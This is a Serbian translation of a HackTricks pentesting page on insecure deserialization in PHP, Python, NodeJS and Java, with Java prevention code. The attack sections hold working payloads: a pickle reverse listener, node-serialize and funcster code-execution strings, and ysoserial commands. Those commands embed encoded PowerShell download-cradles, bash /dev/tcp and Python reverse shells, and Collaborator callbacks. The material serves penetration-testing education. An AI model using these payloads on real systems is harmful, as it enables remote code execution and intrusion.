hacktricks/pentesting-web/deserialization
2024-03-14 23:38:08 +00:00
..
nodejs-proto-prototype-pollution Translated to Serbian 2024-02-10 13:11:20 +00:00
basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md Translated to Serbian 2024-02-10 13:11:20 +00:00
basic-java-deserialization-objectinputstream-readobject.md Translated to Serbian 2024-02-10 13:11:20 +00:00
exploiting-__viewstate-knowing-the-secret.md Translated to Serbian 2024-02-10 13:11:20 +00:00
exploiting-__viewstate-parameter.md Translated ['forensics/basic-forensic-methodology/specific-software-file 2024-02-18 14:58:46 +00:00
java-dns-deserialization-and-gadgetprobe.md Translated to Serbian 2024-02-10 13:11:20 +00:00
java-jsf-viewstate-.faces-deserialization.md Translated to Serbian 2024-02-10 13:11:20 +00:00
java-transformers-to-rutime-exec-payload.md Translated to Serbian 2024-02-10 13:11:20 +00:00
jndi-java-naming-and-directory-interface-and-log4shell.md Translated ['README.md', 'forensics/basic-forensic-methodology/partition 2024-03-14 23:38:08 +00:00
php-deserialization-+-autoload-classes.md Translated to Serbian 2024-02-10 13:11:20 +00:00
python-yaml-deserialization.md Translated to Serbian 2024-02-10 13:11:20 +00:00
README.md Translated to Serbian 2024-02-10 13:11:20 +00:00

Десеријализација

Научите хаковање AWS-а од нуле до хероја са htARTE (HackTricks AWS Red Team Expert)!

Други начини да подржите HackTricks:

Основне информације

Серијализација се сматра методом претварања објекта у формат који се може чувати, са намером да се објекат или сачува или пренесе као део комуникационог процеса. Ова техника се често користи да би се осигурало да објекат може бити реконструисан у каснијем времену, чувајући његову структуру и стање.

Десеријализација, супротно, је процес који дејствује против серијализације. Укључује преузимање података који су структурирани у одређеном формату и реконструирање их у објекат.

Десеријализација може бити опасна јер потенцијално омогућава нападачима да манипулишу серијализованим подацима да изврше штетан код или изазову неочекивано понашање у апликацији током процеса реконструкције објекта.

PHP

У PHP-у се користе специфичне магичне методе за серијализацију и десеријализацију:

  • __sleep: Позван када се објекат серијализује. Овај метод треба вратити низ имена свих својстава објекта које треба серијализовати. Често се користи за извршавање нерешених података или извршавање сличних задатака за чишћење.
  • __wakeup: Позван када се објекат десеријализује. Користи се за поновно успостављање било којих веза са базом података које су можда изгубљене при серијализацији и извршавање других задатака за поновно иницијализовање.
  • __unserialize: Овај метод се позива уместо __wakeup (ако постоји) када се објекат десеријализује. Он пружа већу контролу над процесом десеријализације упоређено са __wakeup.
  • __destruct: Овај метод се позива када је објекат на измаку или када се скрипта завршава. Обично се користи за задатке чишћења, као што је затварање датотека или веза са базом података.
  • __toString: Овај метод омогућава да се објекат третира као низ знакова. Може се користити за читање датотеке или друге задатке на основу позива функција унутар њега, ефективно пружајући текстуални приказ објекта.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Ako pogledate rezultate, možete videti da se funkcije __wakeup i __destruct pozivaju prilikom deserializacije objekta. Napomena: u nekoliko tutorijala ćete videti da se funkcija __toString poziva prilikom pokušaja štampanja nekog atributa, ali izgleda da se to više ne dešava.

{% hint style="warning" %} Metoda __unserialize(array $data) se poziva umesto __wakeup() ako je implementirana u klasi. Omogućava vam da deserijalizujete objekat pružajući serijske podatke kao niz. Možete koristiti ovu metodu da deserijalizujete svojstva i obavite sve neophodne zadatke prilikom deserijalizacije.

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

{% endhint %}

Možete pročitati objašnjeni PHP primer ovde: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, ovde https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf ili ovde https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

Možete zloupotrebiti PHP autoload funkcionalnost da biste učitali proizvoljne PHP fajlove i još mnogo toga:

{% content-ref url="php-deserialization-+-autoload-classes.md" %} php-deserialization-+-autoload-classes.md {% endcontent-ref %}

Serijalizacija referenciranih vrednosti

Ako iz nekog razloga želite da serijalizujete vrednost kao referencu na drugu serijalizovanu vrednost, možete:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial za PHP)

PHPGGC može vam pomoći da generišete payload-ove za zloupotrebu PHP deserijalizacije.
Imajte na umu da u nekoliko slučajeva nećete moći pronaći način za zloupotrebu deserijalizacije u izvornom kodu aplikacije, ali možda ćete moći zloupotrebiti kod spoljnih PHP ekstenzija.
Dakle, ako možete, proverite phpinfo() servera i pretražite internet (čak i gadžete iz PHPGGC) neke moguće gadžete koje biste mogli zloupotrebiti.

deserijalizacija metapodataka phar://

Ako ste pronašli LFI koji samo čita datoteku i ne izvršava PHP kod unutar nje, na primer koristeći funkcije poput file_get_contents(), fopen(), file() ili file_exists(), md5_file(), filemtime() ili filesize(). Možete pokušati zloupotrebiti deserijalizaciju koja se dešava prilikom čitanja datoteke koristeći phar protokol.
Za više informacija pročitajte sledeći post:

{% content-ref url="../file-inclusion/phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

Python

Pickle

Kada se objekat depiklira, funkcija __reduce__ će biti izvršena.
Kada se iskoristi, server može vratiti grešku.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Za više informacija o bekstvu iz pickle zatvora pogledajte:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Yaml & jsonpickle

Na sledećoj stranici je prikazana tehnika zloupotrebe nesigurne deserijalizacije u yaml Python bibliotekama i završava se alatom koji se može koristiti za generisanje RCE deserijalizacijskog payloada za Pickle, PyYAML, jsonpickle i ruamel.yaml:

{% content-ref url="python-yaml-deserialization.md" %} python-yaml-deserialization.md {% endcontent-ref %}

Zagađenje klase (Python prototip zagađenje)

{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} class-pollution-pythons-prototype-pollution.md {% endcontent-ref %}

NodeJS

JS Magične funkcije

JS nema "magične" funkcije poput PHP-a ili Pythona koje će se izvršiti samo za kreiranje objekta. Ali ima neke funkcije koje se često koriste čak i bez direktnog pozivanja kao što su toString, valueOf, toJSON.
Ako zloupotrebite deserijalizaciju, možete ugroziti ove funkcije da izvršavaju drugi kod (potencijalno zloupotrebljavajući zagađenje prototipa) i možete izvršiti proizvoljni kod kada se one pozovu.

Još jedan "magičan" način pozivanja funkcije bez direktnog pozivanja je ugrožavanje objekta koji se vraća asinhronom funkcijom (promise). Jer, ako transformišete taj vraćeni objekat u drugi promise sa svojstvom nazvanim "then" tipa funkcija, on će biti izvršen samo zato što je vraćen od drugog promise-a. Pratite ovaj link za više informacija.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ и prototype zagađenje

Ako želite da saznate više o ovoj tehnici, pogledajte sledeći tutorijal:

{% content-ref url="nodejs-proto-prototype-pollution/" %} nodejs-proto-prototype-pollution {% endcontent-ref %}

node-serialize

Ova biblioteka omogućava serijalizaciju funkcija. Primer:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

Serijalizovani objekat će izgledati ovako:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Možete videti u primeru da kada se funkcija serijalizuje, flag _$$ND_FUNC$$_ se dodaje serijalizovanom objektu.

Unutar fajla node-serialize/lib/serialize.js možete pronaći isti flag i kako se kod koristi.

Kao što možete videti u poslednjem delu koda, ako se flag pronađe, koristi se eval za deserijalizaciju funkcije, tako da se u osnovi korisnički unos koristi unutar funkcije eval.

Međutim, samo serijalizacija funkcije je neće izvršiti jer bi bilo potrebno da neki deo koda poziva y.rce u našem primeru, što je veoma neverovatno.
U svakom slučaju, možete jednostavno izmeniti serijalizovani objekat dodavanjem zagrada kako biste automatski izvršili serijalizovanu funkciju prilikom deserijalizacije objekta.
U sledećem delu koda primetite poslednje zagrade i kako će funkcija unserialize automatski izvršiti kod:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

Kao što je prethodno naznačeno, ova biblioteka će dobiti kod nakon _$$ND_FUNC$$_ i izvršiti ga koristeći eval. Stoga, kako biste automatski izvršili kod, možete izbrisati deo kreiranja funkcije i poslednju zagradu i samo izvršiti JS jednolinijski kod kao u sledećem primeru:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

Možete ovde pronaći dodatne informacije o tome kako iskoristiti ovu ranjivost.

funcster

Značajan aspekt funcster-a je nedostupnost standardnih ugrađenih objekata; oni su van dosega. Ova restrikcija sprečava izvršavanje koda koji pokušava da pozove metode na ugrađenim objektima, što dovodi do izuzetaka poput "ReferenceError: console is not defined" kada se koriste komande poput console.log() ili require(something).

Uprkos ovoj ograničenosti, moguće je ponovo uspostaviti pun pristup globalnom kontekstu, uključujući sve standardne ugrađene objekte, kroz određeni pristup. Korišćenjem globalnog konteksta direktno, moguće je zaobići ovu restrikciju. Na primer, pristup može biti ponovo uspostavljen korišćenjem sledećeg isečka koda:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

Za više informacija pročitajte ovaj izvor.

serialize-javascript

Paket serialize-javascript je dizajniran isključivo za potrebe serijalizacije, bez ugrađenih mogućnosti za deserijalizaciju. Korisnici su odgovorni za implementaciju sopstvene metode za deserijalizaciju. Direktna upotreba eval funkcije je predložena u zvaničnom primeru za deserijalizaciju serijalizovanih podataka:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

Ako se ova funkcija koristi za de-serijalizaciju objekata, možete je lako iskoristiti:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Za više informacija pročitajte ovaj izvor.

Cryo biblioteka

Na sledećim stranicama možete pronaći informacije o tome kako zloupotrebiti ovu biblioteku radi izvršavanja proizvoljnih komandi:

Java - HTTP

U Javi, callback-ovi za deserializaciju se izvršavaju tokom procesa deserializacije. Ovu izvršavanje mogu iskoristiti napadači koji kreiraju zlonamerne payload-e koji pokreću ove callback-ove, što može dovesti do potencijalnog izvršavanja štetnih radnji.

Otisci

Bela kutija

Da biste identifikovali potencijalne ranjivosti deserializacije u kodnoj bazi, pretražite:

  • Klase koje implementiraju interfejs Serializable.
  • Upotrebu funkcija java.io.ObjectInputStream, readObject, readUnshare.

Posebno obratite pažnju na:

  • XMLDecoder koji se koristi sa parametrima definisanim od strane eksternih korisnika.
  • XStream-ovu metodu fromXML, posebno ako je verzija XStream-a manja ili jednaka 1.46, jer je podložna problemima sa serijalizacijom.
  • ObjectInputStream uparen sa metodom readObject.
  • Implementaciju metoda poput readObject, readObjectNodData, readResolve ili readExternal.
  • ObjectInputStream.readUnshared.
  • Opštu upotrebu Serializable.

Crna kutija

Za testiranje crne kutije, potražite specifične potpise ili "Magic Bytes" koji označavaju java serijalizovane objekte (potiču iz ObjectInputStream):

  • Heksadecimalni obrazac: AC ED 00 05.
  • Base64 obrazac: rO0.
  • HTTP odgovor sa zaglavljem Content-type postavljenim na application/x-java-serialized-object.
  • Heksadecimalni obrazac koji ukazuje na prethodnu kompresiju: 1F 8B 08 00.
  • Base64 obrazac koji ukazuje na prethodnu kompresiju: H4sIA.
  • Veb fajlove sa ekstenzijom .faces i parametrom faces.ViewState. Otkrivanje ovih obrazaca u veb aplikaciji trebalo bi da pokrene pregled kao što je detaljno opisano u postu o Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Provera da li je ranjiv

Ako želite da saznate kako funkcioniše Java Deserialized exploit, trebali biste pogledati Osnovna Java Deserializacija, Java DNS Deserializacija i CommonsCollection1 Payload.

Testiranje belom kutijom

Možete proveriti da li je instalirana neka aplikacija sa poznatim ranjivostima.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Možete pokušati proveriti sve biblioteke koje su poznate kao ranjive i za koje Ysoserial može pružiti eksploataciju. Ili možete proveriti biblioteke navedene na Java-Deserialization-Cheat-Sheet.
Takođe možete koristiti gadgetinspector da biste pronašli moguće lance uređaja koji se mogu iskoristiti.
Kada pokrećete gadgetinspector (nakon izgradnje), ne brinite o gomili upozorenja/grešaka kroz koje prolazi i pustite ga da završi. Sve rezultate će zapisati u gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Imajte na umu da gadgetinspector neće stvoriti eksploataciju i može pokazivati lažne pozitivne rezultate.

Test crne kutije

Koristeći Burp ekstenziju gadgetprobe, možete identifikovati koje biblioteke su dostupne (čak i verzije). Sa ovim informacijama, moglo bi biti lakše odabrati payload za iskorišćavanje ranjivosti.
Pročitajte ovo da biste saznali više o GadgetProbe-u.
GadgetProbe je fokusiran na ObjectInputStream deserializacije.

Koristeći Burp ekstenziju Java Deserialization Scanner, možete identifikovati ranjive biblioteke koje se mogu iskoristiti sa ysoserial i iskoristiti ih.
Pročitajte ovo da biste saznali više o Java Deserialization Scanner-u.
Java Deserialization Scanner je fokusiran na ObjectInputStream deserializacije.

Takođe možete koristiti Freddy da biste otkrili ranjivosti deserializacije u Burp-u. Ovaj dodatak će otkriti ranjivosti koje se odnose ne samo na ObjectInputStream, već i na ranjivosti iz biblioteka za deserializaciju Json i Yml. U aktivnom režimu, pokušaće da ih potvrdi korišćenjem sleep ili DNS payloada.
Više informacija o Freddy-u možete pronaći ovde.

Testiranje serijalizacije

Nije sve u proveri da li server koristi ranjive biblioteke. Ponekad možete promeniti podatke unutar serijalizovanog objekta i zaobići neke provere (možda vam omogućiti administratorske privilegije unutar veb aplikacije).
Ako pronađete java serijalizovani objekat koji se šalje veb aplikaciji, možete koristiti SerializationDumper da biste ispisali serijalizovani objekat u formatu koji je čitljiviji čoveku. Poznavanje podataka koje šaljete olakšavaće vam izmenu i zaobilaženje nekih provera.

Eksploatacija

ysoserial

Glavni alat za eksploataciju Java deserializacija je ysoserial (preuzmite ovde). Takođe možete razmotriti korišćenje ysoseral-modified koji će vam omogućiti korišćenje složenih komandi (sa cevima, na primer).
Imajte na umu da je ovaj alat usmeren na iskorišćavanje ObjectInputStream.
Predlažem da prvo koristite payload "URLDNS" pre RCE payloada da biste testirali da li je ubrizgavanje moguće. U svakom slučaju, imajte na umu da "URLDNS" payload možda ne radi, ali drugi RCE payload može.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Kada kreirate payload za java.lang.Runtime.exec(), ne možete koristiti posebne karaktere poput ">" ili "|" za preusmjeravanje izlaza izvršenja, "$()" za izvršavanje komandi ili čak prosljeđivanje argumenata komandi odvojenih razmacima (možete koristiti echo -n "hello world", ali ne možete koristiti python2 -c 'print "Hello world"'). Da biste pravilno enkodovali payload, možete koristiti ovu veb stranicu.

Slobodno koristite sledeći skript za kreiranje svih mogućih payloada za izvršavanje koda za Windows i Linux, a zatim ih testirajte na ranjivoj veb stranici:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Možete koristiti https://github.com/pwntester/SerialKillerBypassGadgetCollection zajedno sa ysoserialom da biste kreirali više eksploata. Više informacija o ovom alatu možete pronaći u prezentaciji gde je alat predstavljen: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec može se koristiti za generisanje payloada za iskorišćavanje različitih biblioteka za serijalizaciju Json i Yml u Javi.
Da biste kompajlirali projekat, morao sam dodati ove zavisnosti u pom.xml fajl:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Instalirajte Maven i kompajlirajte projekat:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Pročitajte više o ovoj Java JSON biblioteci: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Laboratorije

Zašto

Java često koristi serijalizaciju u razne svrhe kao što su:

  • HTTP zahtevi: Serijalizacija se široko koristi u upravljanju parametrima, ViewState-om, kolačićima, itd.
  • RMI (Remote Method Invocation): Java RMI protokol, koji se u potpunosti oslanja na serijalizaciju, je osnova za udaljenu komunikaciju u Java aplikacijama.
  • RMI preko HTTP-a: Ovaj metod se često koristi u Java baziranim debelim klijentskim veb aplikacijama, koristeći serijalizaciju za sve komunikacije objekata.
  • JMX (Java Management Extensions): JMX koristi serijalizaciju za prenos objekata preko mreže.
  • Prilagođeni protokoli: U Javi, standardna praksa uključuje prenos sirovih Java objekata, što će biti prikazano u budućim primerima eksploatacije.

Prevencija

Privremeni objekti

Klasa koja implementira Serializable može označiti bilo koji objekat unutar klase kao transient ako taj objekat ne treba biti serijalizovan. Na primer:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Izbegavajte serijalizaciju klase koja mora da implementira Serializable

U scenarijima gde određeni objekti moraju da implementiraju interfejs Serializable zbog hijerarhije klasa, postoji rizik od nenamernog deserijalizovanja. Da biste to sprečili, obezbedite da ovi objekti nisu deserijalizovani definisanjem final readObject() metode koja dosledno izaziva izuzetak, kao što je prikazano u primeru ispod:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Unapređivanje sigurnosti deserijalizacije u Javi

Prilagođavanje java.io.ObjectInputStream je praktičan pristup za obezbeđivanje procesa deserijalizacije. Ova metoda je pogodna kada:

  • Kod deserijalizacije je pod vašom kontrolom.
  • Klase očekivane za deserijalizaciju su poznate.

Preklopite metodu resolveClass() kako biste ograničili deserijalizaciju samo na dozvoljene klase. Ovo sprečava deserijalizaciju bilo koje klase osim onih eksplicitno dozvoljenih, kao što je prikazano u sledećem primeru koji ograničava deserijalizaciju samo na klasu Bicycle:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Korišćenje Java agenta za poboljšanje bezbednosti nudi alternativno rešenje kada modifikacija koda nije moguća. Ova metoda se primenjuje uglavnom za crnu listu štetnih klasa, koristeći JVM parametar:

-javaagent:name-of-agent.jar

Pruža način za dinamičko osiguranje deserijalizacije, idealno za okruženja u kojima su trenutne promene koda nepraktične.

Pogledajte primer u rO0 od Contrast Security

Implementiranje filtera za serijalizaciju: Java 9 je uvela filtere za serijalizaciju putem interfejsa ObjectInputFilter, pružajući moćan mehanizam za specificiranje kriterijuma koje serijalizovani objekti moraju zadovoljiti pre deserijalizacije. Ovi filteri se mogu primeniti globalno ili po toku, pružajući granularnu kontrolu nad procesom deserijalizacije.

Da biste koristili filtere za serijalizaciju, možete postaviti globalni filter koji se primenjuje na sve operacije deserijalizacije ili ga dinamički konfigurisati za određene tokove. Na primer:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Iskorišćavanje spoljnih biblioteka za poboljšanu sigurnost: Biblioteke poput NotSoSerial, jdeserialize i Kryo nude napredne funkcionalnosti za kontrolu i praćenje Java deserijalizacije. Ove biblioteke mogu pružiti dodatne slojeve sigurnosti, poput beleženja ili blokiranja klasa, analize serijalizovanih objekata pre deserijalizacije i implementacije prilagođenih strategija serijalizacije.

  • NotSoSerial presreće procese deserijalizacije kako bi sprečio izvršavanje nepouzdanog koda.
  • jdeserialize omogućava analizu serijalizovanih Java objekata bez deserijalizacije, pomažući u identifikaciji potencijalno zlonamernog sadržaja.
  • Kryo je alternativni okvir za serijalizaciju koji naglašava brzinu i efikasnost, nudeći konfigurabilne strategije serijalizacije koje mogu poboljšati sigurnost.

Reference

JNDI Injection & log4Shell

Saznajte šta je JNDI Injection, kako ga zloupotrebiti putem RMI, CORBA i LDAP-a i kako iskoristiti log4shell (i primer ove ranjivosti) na sledećoj stranici:

{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} jndi-java-naming-and-directory-interface-and-log4shell.md {% endcontent-ref %}

JMS - Java Message Service

Java Message Service (JMS) API je Java API za poruke usmerene na poruke za slanje poruka između dva ili više klijenata. To je implementacija za rešavanje problema proizvođača-potrošača. JMS je deo Java Platform, Enterprise Edition (Java EE) i definisan je specifikacijom koju je razvio Sun Microsystems, ali koju je od tada vodio Java Community Process. To je standard za razmenu poruka koji omogućava komponentama aplikacija zasnovanim na Java EE da kreiraju, šalju, primaju i čitaju poruke. Omogućava komunikaciju između različitih komponenti distribuirane aplikacije da bude slabo povezana, pouzdana i asinhrona. (Iz Wikipedia).

Proizvodi

Postoji nekoliko proizvoda koji koriste ovaj middleware za slanje poruka:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Eksploatacija

Dakle, u osnovi postoji niz usluga koje koriste JMS na opasan način. Dakle, ako imate dovoljno privilegija za slanje poruka tim uslugama (obično će vam biti potrebne validne akreditacije), možete poslati zlonamerne objekte serijalizovane koji će biti deserijalizovani od strane potrošača/pretplatnika.
To znači da će svi klijenti koji će koristiti tu poruku biti zaraženi.

